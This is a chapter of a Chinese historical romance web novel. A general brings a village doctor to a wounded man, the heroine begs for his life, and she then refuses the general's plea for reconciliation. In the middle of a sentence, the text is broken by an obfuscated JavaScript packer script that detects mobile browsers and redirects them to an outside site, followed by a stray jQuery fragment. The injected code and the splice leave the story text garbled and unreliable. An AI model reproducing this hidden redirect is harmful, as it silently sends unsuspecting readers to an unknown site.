之前被派去找大夫的士兵快马奔回,身后跟着一个气喘吁吁、背着破旧药箱的老者,正是村里的赤脚大夫。
“将军,大夫请来了!”士兵翻身下马禀报。
老大夫看到眼前剑拔弩张的气氛和一群杀气腾腾的兵士,吓得腿肚子直哆嗦,但还是强撑着上前。
萧承渊深吸一口气,强行压下翻腾的情绪,将目光从沈昭华脸上移开,转向老大夫时,语气恢复了惯有的冷峻,却带上了一丝不易察觉的急促:“有两人重伤。她肩上有箭伤,已拔除。他……”他指向温景珩,“昏迷,高烧,疑有内伤,肩背有撕裂伤。速看!”
老大夫连声应着,走向温景珩。
“先给她看。”萧承渊朝着沈昭华点了点头。
老大夫闻言走到沈昭华身边,却碰不到沈昭华的伤口。萧承渊翻身下马,一把将她抱了下来。
沈昭华推开老大夫欲查看她肩头的手,对着萧承渊说道:“先看他,他快不行了,求你......”
那“求你”二字,像针一样狠狠刺了萧承渊一下。他的阿昭,何曾如此卑微地求过人?
还是为了另一个男人!
萧承渊双唇紧抿,看着沈昭华的眼睛里充满震惊和不可思议。
到底发生了什么,让她这般维护他?
他死死盯着沈昭华充满祈求的眼,那双曾经盛满对他爱慕与依赖的眸子,此刻只剩下对温景珩的担忧。
一股深深的无力感和被背叛的剧痛席卷了他。
“带他下来。”他几乎是咬着牙下令,声音里蕴含着极力克制的怒火,冷硬如铁。
两名士兵立刻上前,小心翼翼地将昏迷的温景珩从马背上架了下来。温景珩的身体软绵绵的,头无力地垂下,脸上毫无血色,呼吸微弱得几乎感觉不到。
沈昭华的心提到了嗓子眼,亦步亦趋地跟着,眼神片刻不敢离开。
士兵们就近推开了一户农舍门。
屋主是一对年迈的夫妇,早已吓得躲在内室瑟瑟发抖。士兵们简单清理出一块地方,铺上干草和一张破旧的毡毯,将温景珩安置上去。
“二位无需害怕,暂借贵地疗伤,马上就走。”萧承渊自怀中取出一锭银子,对着蜷缩在一处瑟瑟发抖的夫妇二人解释。
他们哪里见过这么多钱,农夫看了看萧承渊,又看了看他手中的银子,壮着胆子走到他身边,颤颤巍巍的将银子收在怀中:“您随意,您随意……”
萧承渊看了眼昏迷的温景珩,吩咐道:“劳烦帮我们打些水来。”
农夫连忙应声去了。
老大夫正双眉紧蹙的探查温景珩的脉搏,不住地摇头:“气息太弱,脉象浮乱无根,危矣,危矣啊……”
他解开温景珩的衣襟,想检查伤势,当看到那布满狰狞疤痕的胸膛时,手猛地一抖,倒吸一口凉气。
肩膀上被苍鹰利爪撕裂的伤口,虽被沈昭华简单包扎过,此刻也因颠簸和发烧而红肿外翻,渗出浑浊的脓血。
“沈昭华,过来!”萧承渊看着站在一旁满眼关切的沈昭华,冷声道:“你难道不懂得避嫌吗?”
沈昭华看了看周围的士兵,突然意识到这些天逃亡奔波,把俗尘的规训抛诸脑后,已经成了习惯。
“劳烦您了,一定要救救他。”她不放心的对着老大夫叮嘱完,红着脸走到萧承渊身边。
“天爷……这、这……”老大夫行医多年,多在乡野,何曾见过如此惨烈的景象,一时间竟有些手足无措。
“老先生,求您救救他!”沈昭华噗通一声跪倒在地,深深叩拜。
她顾不上身侧萧承渊那几乎要将她洞穿的目光,眼中只剩下温景珩苍白如纸的脸。
这一刻,什么国仇家恨,什么利用背叛,都被巨大的恐惧淹没。
她害怕他就这样永远都醒不过来。
老大夫定了定神,连忙从药箱里翻出银针,颤抖着手在温景珩几处大穴上施针,试图吊住他那一线生机。
又拿出烈酒和金疮药,处理伤口。
药粉撒上去,昏迷中的温景珩身体猛地痉挛了一下。
“温景珩!”沈昭华的心瞬间揪紧。
萧承渊站在门口,高大的身影挡住了大部分光线,阴影笼罩着屋内的一切。
他看着她脸上那毫不掩饰的心疼与恐惧,看着她为了那个男人落泪哀求,心脏仿佛被人狠狠插了一刀,疼的他瑟缩了一下。
那只被飞卢剑割伤的手,藏在袖中,伤口似乎又裂开了,传来阵阵刺痛,却远不及心口的万分之一。
温景珩又一动不动了。
沈昭华目光死死锁在温景珩身上,对着他呼喊:“温景珩,你醒醒!你答应过要送我回家的,我们还约好回京都一起喝燕子京,你还记得吗?你不能死,你听见没有!”
她的哭喊声在狭小的农舍里回荡,撕心裂肺。
老大夫满头大汗,施针的手都在抖。温景珩的脉搏时断时续,高烧丝毫没有退下去的迹象,情况凶险万分。
他颤巍巍地对萧承渊道:“将军,这位郎君伤势太重,高烧不退,恐有邪寒入心之兆。老夫……老夫只能尽力而为,但此地缺医少药,若能有军中上好的金疮药和退热的羚羊角粉,或可争得一线生机……”
萧承渊的目光依旧钉在沈昭华身上,看着她满眼关切,看着她肩头刺目的鲜红,听着她口中声声呼唤着另一个男人的名字。
他仿佛陷入无边地狱,遭受着这世间最严酷的刑罚,万箭穿心。
沈昭华闻言终于转头看他,满眼哀求。他看着她的目光,终是不忍心让她失望。
“马武。”他终于开口,声音低沉得可怕。
“末将在!”之前被林岳留下保护萧承渊的副将立刻应声。
“你亲自带人,快马加鞭,去最近的卫所,取最好的金疮药、退热散,还有羚羊角粉。要快!”萧承渊一字一顿地命令道,目光却始终没有离开沈昭华。
“末将领命!”马武不敢怠慢,立刻点了两名亲兵,转身冲出农舍,翻身上马,绝尘而去。
屋内陷入一种诡异的沉默。
萧承渊一步一步,缓缓走到沈昭华面前,挡在她和温景珩中间。沈昭华忍不住后退了一步,脚下不稳,跌坐在地,仰头看着他,眼中是深不见底的悲伤和戒备。
他蹲下身,高大的身影将她完全笼罩。
被他用手帕草草包裹的手缓缓抬起,带着不容抗拒的力道
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16131679|177331||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,捏住了她的下巴,强迫她抬起脸,直视自己。
两人目光在咫尺之间激烈碰撞。
他的眼中,是翻滚的怒火、被刺伤的骄傲、深沉的痛楚,还有一丝连他自己都未曾察觉的恐慌。
她的眼中,则是冰冷的恨意、绝望的哀求、和让他痛心的防备。
他缓缓俯身,冰冷的气息拂过她泪湿的脸颊,声音压得极低,一字一句地问:“沈昭华,你还记得我是谁吗?”
“你如此毫无顾忌,”萧承渊的眼中翻滚着汹涌的痛楚:“当真是一点都不顾及我的感受吗?”
沈昭华眼角还挂着泪,她看着眼前俊美无比的脸,突然笑了:“将军,在凉州城外将我弃如敝履的时候、毫不犹豫带走柳舒涵的时候,可曾顾及过我的感受?”
萧承渊看着眼前苍白如纸的、熟悉的美丽容颜,只觉得她是她、又不是她,他好像无意间丢掉了什么宝贵的东西,此生再也寻不回来了。
可他不甘心。
“如果我说,”他眼中闪烁着一丝希冀,“我知道错了,我以后会尽量弥补之前犯下的错,你还能......给我一次机会吗?”
他说到最后近乎哀求。
沈昭华从未见过这样的他,他一向是自持而内敛的,情绪从不外露。
这样的他,让她诧然。
她看着哪怕在如今看来依旧足以让她内心悸动的眉眼,缓缓伸出手,覆上他浓密英挺的剑眉,泪眼婆娑:“萧承渊,我们之间回不去了。我没有办法原谅你的丢弃,我恨你。”
沈昭华的声音并不高,却让他耳中轰鸣。农舍内昏黄的光线似乎都随之暗了一瞬。
萧承渊捏着她下巴的手指,在她覆上他眉心的瞬间,曾有过一丝极其细微的颤抖,仿佛濒死之人抓住最后一缕微光。
然而那冰凉的手指和更冰凉的三个字,将他指尖那点微弱的暖意也彻底浇灭。
他缓缓闭上眼,遮住眼中翻涌的惊涛骇浪。再睁开时,里面所有的情绪都如同被投入寒潭的石子,瞬间沉没,消失得无影无踪。
他松开了钳制她的手。
手背上包裹的帕子,早已被伤口渗出的鲜血浸透,暗红一片,粘腻地贴在他的手上,如同他此刻心中鲜血淋漓的伤口。
是他丢弃她在先,怨不得旁人。这苦果,是他亲手种下的。
他没有再看沈昭华一眼,狼狈的站起身,高大的身影在狭小的农舍里投下沉重的阴影。
他径直转身,大步流星地走出了农舍。破旧的木门在他身后合拢,隔绝了他身上那令人喘不过气的冰冷气息。
沈昭华脱力般瘫软在地,大口喘着气,肩头的伤口传来阵阵撕裂般的剧痛,她却恍若未觉。目光第一时间急切地投向干草堆上的温景珩。
她挣扎着爬起身,走到温景珩身边,伸出手,颤抖着去探他的额头。
他的呼吸微弱而急促,嘴唇干裂起皮,即使在昏迷中,眉头也痛苦地紧锁着。
“温景珩……”她低低地唤了一声,声音带着哭腔,“再坚持一下,药马上就来了。”
不知过了多久,干草堆上的温景珩忽然极其轻微地动了一下,干裂的嘴唇翕动着,发出几个破碎模糊的音节。